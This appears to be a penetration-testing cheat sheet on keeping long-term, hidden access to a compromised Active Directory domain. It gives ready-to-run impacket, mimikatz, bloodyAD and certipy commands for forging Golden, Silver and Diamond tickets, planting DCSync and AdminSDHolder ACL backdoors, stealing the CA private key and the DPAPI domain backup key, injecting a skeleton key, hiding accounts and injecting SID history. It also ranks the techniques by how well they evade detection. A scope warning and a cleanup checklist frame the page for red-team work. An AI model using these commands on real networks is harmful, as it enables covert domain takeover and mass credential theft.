Persistence

Sections Persistence

After you reach DA (or close to it), lock in long-term access. Pick mechanisms by detectability and durability, depending on the engagement.

Scope check

AD persistence on a real engagement requires explicit written authorization. Even a “harmless” backdoor like an ACL change can violate scope. On HTB/labs anything goes.

DC=10.10.11.50
DOMAIN=corp.local
USER='Administrator'
PASS='AdminPass!'

i. Golden Ticket (krbtgt-based)

Forge a TGT for any user, valid until the krbtgt password changes (typically never, or only after a known compromise).

Step 1: Dump krbtgt

impacket-secretsdump -just-dc-user krbtgt $DOMAIN/$USER:$PASS@$DC
## Note the krbtgt NT hash and AES256 key from output

Step 2: Forge TGT

## With NT hash (RC4 ticket, easier to detect)
impacket-ticketer -nthash $KRBTGT_NT \
  -domain-sid $DOMAIN_SID \
  -domain $DOMAIN \
  Administrator

## With AES256 (less detectable, preferred)
impacket-ticketer -aesKey $KRBTGT_AES256 \
  -domain-sid $DOMAIN_SID \
  -domain $DOMAIN \
  Administrator

## Output: Administrator.ccache
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass dc.$DOMAIN

Mimikatz equivalent (Windows side):

mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:$DOMAIN_SID /krbtgt:$KRBTGT_NT /ptt
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:$DOMAIN_SID /aes256:$KRBTGT_AES256 /ptt

Lifetime defaults to 10 years. Customize:

impacket-ticketer -aesKey $AES -domain-sid $SID -domain $DOMAIN \
  -duration 365 -user-id 500 -groups 512,513,518,519,520 Administrator
Defeating Golden Tickets

Resetting krbtgt password TWICE (with replication delay between) invalidates all golden tickets. Defenders do this on incident response. Pull a fresh krbtgt hash periodically if you need long-term access.

ii. Silver Ticket (service account hash)

Forge a TGS directly to a specific service. No DC involved during use, so no Event 4768/4769 from your activity:

impacket-ticketer -nthash $SERVICE_NT \
  -domain-sid $DOMAIN_SID \
  -domain $DOMAIN \
  -spn cifs/server.corp.local \
  Administrator

## Use it:
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass server.corp.local

Silver vs Golden:

  • Silver = specific service, doesn’t touch DC
  • Golden = TGT, used to request any service from any DC
  • Silver survives krbtgt resets, dies only if the service account’s password changes

iii. Diamond / Sapphire Ticket

Modify a real DC-issued TGT instead of forging from scratch. Looks much more legitimate in logs.

impacket-ticketer -aesKey $KRBTGT_AES \
  -domain-sid $DOMAIN_SID \
  -domain $DOMAIN \
  -request -user $USER -password $PASS -dc-ip $DC \
  -user-id 500 -groups 512,513,518,519,520 \
  Administrator

The -request flag tells ticketer to first get a real TGT and modify its PAC.

Sapphire ticket (newer, uses S4U2self trick to make the PAC look perfect): emerging tools (Rubeus has partial support), worth checking GitHub for current PoCs.

iv. AdminSDHolder ACL backdoor

AdminSDHolder is a template object in the domain. Every 60 minutes, the SDProp process copies its ACL onto every protected object (Domain Admins, Account Operators, etc).

If you add an ACE granting yourself rights on AdminSDHolder, SDProp pushes it to every protected group. You get GenericAll on Domain Admins until someone notices.

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add genericAll \
  "CN=AdminSDHolder,CN=System,DC=corp,DC=local" attacker
## Wait 60 minutes (or force SDProp via DSRM if you have it)
## Now attacker has GenericAll on every protected group

Detection: enterprise defenders watch AdminSDHolder ACL changes specifically. Loud but durable.

v. DCSync rights for a regular user

Cleaner than AdminSDHolder. Grant a non-privileged account the two replication rights:

bloodyAD -d $DOMAIN -u Administrator -p $ADMINPASS --host $DC add dcsync svc_user
## Now svc_user can dump every hash without being in any privileged group

When investigating, defenders look at group memberships first. DCSync rights are an ACL on the domain object - easy to miss without specific tooling.

Cleanup:

bloodyAD -d $DOMAIN -u Administrator -p $ADMINPASS --host $DC remove dcsync svc_user

vi. Shadow Credentials on a privileged account

Once you have GenericWrite on a target (or a privileged target), add a Key Credential. You can authenticate as that target anytime via PKINIT without knowing/breaking their password:

bloodyAD -d $DOMAIN -u Administrator -p $ADMINPASS --host $DC add shadowCredentials Administrator
## Output: Administrator.ccache (or .pfx)
## Anytime later:
certipy auth -pfx Administrator.pfx -dc-ip $DC

Cleanup when no longer needed:

bloodyAD -d $DOMAIN -u Administrator -p $ADMINPASS --host $DC remove shadowCredentials Administrator

Survives password changes. The key persists until explicitly removed.

vii. Certificate-based persistence (forge with CA private key)

If you compromised the CA host, extract its private key. Forge certs for any user, indefinitely:

## On CA host:
mimikatz # crypto::capi
mimikatz # crypto::certificates /export
## Or:
certipy ca -backup -ca CORP-CA -u $USER@$DOMAIN -p $PASS

Then offline forge:

certipy forge -ca-pfx ca.pfx -upn Administrator@$DOMAIN -subject 'CN=Administrator'
certipy auth -pfx Administrator_forged.pfx -dc-ip $DC

Forged certs:

  • Last as long as the CA cert is valid (often years)
  • Survive password resets
  • Hard to detect without monitoring issued cert serials

viii. DPAPI Domain Backup Key

The domain DPAPI backup key (held by DCs) can decrypt every user’s DPAPI secrets on every host. Once you extract it, you have a forever-key for credential harvesting:

impacket-dpapi backupkeys -t $DOMAIN/Administrator:$PASS@$DC
## or:
mimikatz # lsadump::backupkeys /system:$DC /export

The backup key doesn’t change. As long as DPAPI exists in the domain, this key decrypts every DPAPI-protected secret on every host: saved browser passwords, RDP creds, mail clients, etc.

ix. Skeleton Key

Inject a master password into LSASS on a DC. Anyone can auth as anyone with the skeleton password. Default: “mimikatz”.

## On the DC, as SYSTEM:
mimikatz # privilege::debug
mimikatz # misc::skeleton

Dies on DC reboot. Re-inject after each reboot. Mostly historical/red-team-flag territory now (most EDR catches it), but works on undefended boxes.

x. DSRM Sync

The DC’s local Administrator (DSRM mode) password can be configured to sync with a domain account’s password. Set this up, then any reset of that domain account = you also know the DSRM password:

mimikatz # lsadump::sam /patch
## Note the DSRM hash
## Set DSRM behavior:
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2
## Now you can PsExec to the DC as ".\Administrator" with the DSRM hash

xi. Hidden user / hidden ACL

Create a backup user that doesn’t show in normal enumeration:

## Create the user in an OU defenders don't watch (e.g. a Builtin container, custom OU)
bloodyAD -d $DOMAIN -u Administrator -p $ADMINPASS --host $DC add user backup_svc 'P@ssw0rd!' \
  --ou "OU=Disabled,DC=corp,DC=local"
## Hide it from default LDAP queries by clearing common readable attributes:
bloodyAD -d $DOMAIN -u Administrator -p $ADMINPASS --host $DC set object backup_svc description
## Grant it DCSync:
bloodyAD -d $DOMAIN -u Administrator -p $ADMINPASS --host $DC add dcsync backup_svc

Combined with AdminCount tricks (don’t add to protected groups, won’t be SDProp-protected, less audit attention) and unusual OU placement.

xii. Computer account persistence

Any domain user can create up to 10 computer accounts (MachineAccountQuota=10 default). Use this to create a hidden RBCD-ready computer:

bloodyAD -d $DOMAIN -u Administrator -p $ADMINPASS --host $DC add computer hidden_pc 'CompP@ss!'
bloodyAD -d $DOMAIN -u Administrator -p $ADMINPASS --host $DC add dcsync 'hidden_pc$'
## Or grant generic write on key targets:
bloodyAD -d $DOMAIN -u Administrator -p $ADMINPASS --host $DC add genericAll 'CN=Administrator,CN=Users,DC=corp,DC=local' 'hidden_pc$'

Then forget about the account. Use it months later via PtH or as the source for RBCD attacks.

xiii. badSuccessor (DMSA persistence)

Delegated Managed Service Accounts (DMSAs) inherit privileges from their predecessor. If you can create a DMSA with a high-privilege predecessor (the “managed account preceded by link”), the DMSA inherits those privileges. bloodyAD wraps the attack:

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add badSuccessor newDMSA \
  -t "CN=Administrator,CN=Users,DC=corp,DC=local"
## Multiple targets:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add badSuccessor newDMSA \
  -t "CN=Administrator,CN=Users,DC=corp,DC=local" \
  -t "CN=krbtgt,CN=Users,DC=corp,DC=local"

Pre-check vulnerability:

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC msldap badsuccessor_check

Patched in Windows Server 2025 updates released 2025. Pre-patch DCs remain vulnerable.

xiv. SID History injection

When you have DA in any domain, write a SID into a user’s sIDHistory. That user inherits the rights of the SID’s owner (typically a privileged group):

## Direct LDAP write requires the right ACEs, usually only DA can set sIDHistory
bloodyAD -d $DOMAIN -u Administrator -p $ADMINPASS --host $DC set object \
  backup_user sIDHistory -v 'S-1-5-21-AAA-BBB-CCC-512'
## Now backup_user is a member of Domain Admins (via SID history) without being in the group

Bypasses group membership audits. Detectable only by direct sIDHistory queries.

xv. Persistence ranking (durability vs detectability)

MechanismDurabilityDetectabilityUse when
Golden Ticket (krbtgt)High (10 years default)Low if AES, high if RC4After full DA, primary backdoor
Silver TicketPer-serviceLowNeed access to ONE specific service
Diamond TicketHighLower than goldenWhen MDI / AD ATP in play
Shadow CredentialsHighMediumGenericWrite on target, no password change wanted
DCSync ACEHighLowLong-term dumping ability
AdminSDHolderHighHigh (well-known IOC)Quick DA recovery
Cert forge (CA key)Very high (cert validity)LowCA compromise gives this for free
DPAPI Backup KeyPermanentLowDPAPI cred harvesting forever
Skeleton KeySingle bootHighSpecific scenarios only
Hidden user + ACLMediumMediumWant a “normal-looking” auth path
badSuccessor (DMSA)High on unpatchedMediumPre-2025 DC builds
SID History injectionHighLowDefender doesn’t query sIDHistory

xvi. Layered persistence

Drop multiple mechanisms so defender remediation of one doesn’t kill all access:

  1. Forge a golden ticket, use it for active operations
  2. Add DCSync ACE to a controlled account for credential refresh
  3. Drop shadow credentials on one DA account
  4. Pull and save the DPAPI domain backup key for cred decryption later
  5. Forge a long-lived certificate from a compromised CA

Each is independent. Remediation requires finding all of them.

xvii. Cleanup checklist

End-of-engagement (or right after testing persistence works):

bloodyAD -d $DOMAIN -u Administrator -p $PASS --host $DC remove genericAll \
  "CN=AdminSDHolder,CN=System,DC=corp,DC=local" attacker
bloodyAD -d $DOMAIN -u Administrator -p $PASS --host $DC remove dcsync attacker
bloodyAD -d $DOMAIN -u Administrator -p $PASS --host $DC remove shadowCredentials Administrator
bloodyAD -d $DOMAIN -u Administrator -p $PASS --host $DC remove object backup_svc
bloodyAD -d $DOMAIN -u Administrator -p $PASS --host $DC remove object 'hidden_pc$'
## Reset SID history if you set it:
bloodyAD -d $DOMAIN -u Administrator -p $PASS --host $DC set object backup_user sIDHistory
krbtgt resets

If you’ve forged golden tickets and want to “uncompromise” the domain, the client must reset krbtgt TWICE with a replication delay between (Microsoft’s “Reset-KrbtgtKeys.ps1” handles this). Document this in your report.

Document every change. Cleanup is part of the engagement, not optional.